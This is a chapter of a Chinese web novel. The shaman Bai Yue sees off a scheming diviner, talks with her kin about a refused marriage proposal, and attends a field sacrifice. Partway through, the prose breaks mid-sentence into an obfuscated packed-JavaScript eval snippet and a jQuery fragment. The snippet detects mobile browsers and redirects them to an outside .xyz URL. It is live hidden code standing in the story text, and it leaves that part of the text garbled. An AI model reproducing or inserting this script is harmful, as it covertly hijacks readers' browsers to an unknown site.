夏历十二月的末尾,贞人涅即将启程返回殷都,召公奭与辛甲带着白岄前往馆舍相送。
车马与行装都已备好,贞人涅倚着车辕,望着白岄笑道:“小史怎么不来?”
白岄答道:“内史在拟定新王嗣位的诰令,无暇前来。”
“哦,我还以为小史仍在生气,因此耍小性子不愿来呢。”贞人涅笑眯眯地问道,“那巫箴考虑好了吗?真不与我一同启程返回殷都吗?”
白岄摇头,温声道:“多谢您的好意,但我们尚有疑虑,请恕不能从命。”
贞人涅打量着她,“巫箴还有何疑虑?听闻巫箴为了此事与周公争吵,不欢而散,赌气至今?”
召公奭皱眉,“巫箴忙于处理公务,筹备祭祀,这些日子居于寮中,无暇外出,贞人又是从何处听来的传言?”
贞人涅低头笑了笑,“这些事,自然传得比什么都快,不需刻意打听,也会传到我的耳旁。”
白岄道:“我倒是听闻贞人奉微子之意,未经殷君首肯,私自前来丰镐,多半是怀有异心。”
不就是信口胡说,谁不会呢?殷都还有一众巫医和小疾医在,仍与她有联络,自然也可以为贞人涅在殷君面前“美言”几句。
“巫箴,贞人毕竟是客,少说两句吧。”辛甲向白岄摇头,出发前好不容易劝了她,说定了心平气和地一起来为贞人涅送行,谁知才说了没两句,这两人又开始阴阳怪气起来了。
当然,错也不在白岄一人,谁让贞人涅先去招惹她呢?
贞人涅对她那几句不痛不痒的反击不以为意,“或许殷君对我的揣测,比巫箴说的更糟糕一些呢?”
反应过来的殷君迅速拉拢了先王遗留的近臣、愿意支持他的贵族,还有那些失了势的巫祝们,如今正与贞人涅的势力相持不下。
贞人涅凑近了白岄,笑道:“再说了,我真是为了你们好,要令殷民心甘情愿归附,总要有个说得过去的理由吧?”
没人回应他,于是贞人涅自顾自地说下去,“巫箴,你自己也很清楚吧?殷民愈是信赖于神明,就愈是亲近你,而这些人,恰是最难说动的。”
商人不愿放弃他们的神明,人间的一切都无法撼动他们,只有代表着神明的巫祝,才能让他们获得安慰。
“巫箴既然将自己推到了这一步,难道原本不是打的这个主意?”
白岄霎了霎眼,“……但您也知道,在丰镐,不是我说了算的。”
贞人涅了然点头,“只要巫箴愿意合作,就还可以继续谈,不急,我有耐心等你的答复。”
他又看向召公奭,笑道:“召公过去曾与微子相盟,如今虽时过境迁,也未尝不能再作盟友啊。不论是营造‘度邑’,还是接受我的提议,都是不错的选择,对吗?”
召公奭答道:“我们会考虑的,现在确实不能做出答复,待议事有了结果,会令巫箴告知您。”
白岄道:“但贞人所知过多,却不愿据实相告,令人疑虑重重。”
“女巫心思细谨,倒也不是坏事。”贞人涅上前一步,附在白岄耳畔,说了几句,而后又退回车马旁,含笑看着她,“我能说的只有这些,信不信由你。”
随后他向众人一礼,“各位,告辞了。巫箴,希望早日收到你的消息。”
辛甲看着逐渐远去的车马,问道:“贞人与你说了什么?”
白岄摇头,“一些毫无根据的事,没必要说出来扰乱人心。”
召公奭皱眉,“这样说,他真会信吗?”
白岄望着车马带起的烟尘,“不会尽信,但能稳住贞人,也能稳住他和微子那边的势力。”
处理完岁末最后的事务,白岄于薄暮时分返回族中。
巫离的族人也到了丰京,与白氏暂居在一处,初到丰镐的孩子们看什么都新鲜,正互相追逐打闹着。
白葑和白岘正带着族中的少年人前去观星,见到白岄,笑道:“阿岄很久没回来了,才和族长说起,今日岁终,你也该忙完了。”
“姐姐——”白岘将手中的竹简和星图一股脑塞给白葑,飞奔过来,一头扑进白岄怀里,“我好想你!”
“你都这么大了,还是爱撒娇啊,也不怕大家笑话。”白岄捧起他的脸,细看了一会儿,“气色比先前好多了。”
“除了姐姐,还有谁会取笑我啊?”白岘挽着她,“姐姐一起去看星星吗?”
少年们三三两两地在高台上坐下来,一边观察渐渐在夜幕上显现的星星,一边听着白岘讲解。
夏历岁终,这是一个朔月之夜,夜空晴朗无雾,群星尤为明亮清晰。
白葑与白岄站在远处,“阿岄许久没回来,与孩子们都生分了,他们以前最喜欢缠着你的。”
这两年多来,她留在殷都,一步步走到神权的顶峰,在神事上,她比以往任何一任大巫都强势。
回到丰镐之后,她又忙于政务,有时一个旬日也不返回族中一次。
族中的孩子们渐渐长大了,起初还闹着要见“岄姐姐”,后来也都明白了她有要务在身,不该去扰她。
如今她回到族中,孩子们也不再敢亲近她。
“阿岄,前些日子贞人派人来与族长商议……”白葑停顿了片刻,不知该怎么措辞,“你的……婚事。”
在殷都,谁不知道主祭是不外嫁的呢?这样贸然前来询问,真是失礼。
何况,当她跃下摘星台的那一刻,或许就已不属于这人间了吧?
白岄问道:“叔父怎么说?”
“族长说他会站在你那一边,阿岄自己决定就好了。”白葑无奈地笑了,摇头道,“要是阿屺还在,不知会有多生气。”
白岄回忆道:“是啊,我还没有当主祭的时候,也曾有其他族邑前来向父亲询问亲事,父亲拒绝了。之后做了主祭,还有人不死心,都被兄长赶走了,渐渐地也就没人提起了。”
“阿屺是不放心你。”白葑叹息,白岄对人不感兴趣,对人的感情更不感兴趣,留在族中才是最好的。
或许她确实是天生的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611223|168759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女巫,她生来就该嫁给神明。
“其实之前在殷都,贞人也曾提起此事。”白岄平淡地道,“我已拒绝了。”
白葑皱眉,“什么时候的事?你都不曾与我们商议过,还真是与你父亲一般,独断专行。”
“……葑这样说,倒显得是我言行有失。”白岄望着夜空上闪烁的星星,“族人们有怨言了吗?”
“不,我们只是觉得你太辛苦了。”白葑侧身打量着她,“离开殷都之后,你变得与从前不同了。阿岄在独自背负着什么东西吗?”
白岄只是静静地望着悬在中天的参宿三星,面色没有一点扰动。
“这是不能说的。”白岄收回了目光,看向白岘,他正耐心地指导着孩子们辨认天上的星星,“应当到此为止了,我不想将它留给阿岘。”
那个秘密,在茫茫两百余年间,不付刀笔,不诉于口,这样孤寂地流传着,期待着后人终有一日能达成它。
她会去达成的。
为了栖息在神木上的鸟儿们,能够飞向更遥远的天空。
夏历新岁在木铎的“当当”声中到来。
这一日,司寇向各诸侯国、王畿采邑以及臣民颁布新的法令。
由毕侯和司寇几经修改的法令终于悬挂在了王宫的大门上,卿事寮的属官与民众们正迎着朝阳驻足观看。
太史寮的属官们一早来到了郊外的藉田,管理藉田的甸师已在道旁等候。
藉田名义上为王所有,由王亲自耕种,实际由甸师召集胥徒与农人耕种,其上的所有产出都用以供奉神明。
时值季冬,田野上残留焚烧过后的草木灰烬,白茅已从冻结的土壤下冒出了嫩红色的芽尖,香蒿还埋在地面之下沉睡,等待着东风吹来,唤醒新绿。
更远的地方是用于放牧的大片草地,今日晴朗无风,牧人正点火焚烧经冬的陈草。
为了消弭神明降罪的流言,将在藉田之上举行告祭。
由太祝撰写祝文,甸师引咎自责,将神明的降罪归于对藉田所产出祭品的不满,而不是对周人所取得的天命有什么质疑。
这样一来,流言会渐渐平息,继位的新王也可以免于灾祸。
丽季俯身查看土壤,问道:“阿岄,之后要去做什么?”
白岄看着甸师亲自向神明告祭,倒也十分新鲜,“今日还要与太卜去挑选蓍草、查看龟甲,内史要一起去吗?”
丽季抓了一把泥土在掌心碾开细看,“好不容易把诰令写完了,我得尽快拟定农时,交给毕侯,否则他定会缠着我不放,又要好几日不得安生……”
“毕侯刚接手这些事,唯恐出错,十分勤勉。”召公奭笑道,“内史才出任的时候,比毕侯更仔细呢,作册们写的文书,你都要一一验看,已忘了吗?”
丽季覆手,碾碎的泥土从他手中撒落下去,重新回到地面,“那不一样嘛,我是为王上发布诰令,不能出一点错。”
召公奭摇头,“但耕种也是很重要的事,或许比王上的命令更重要。”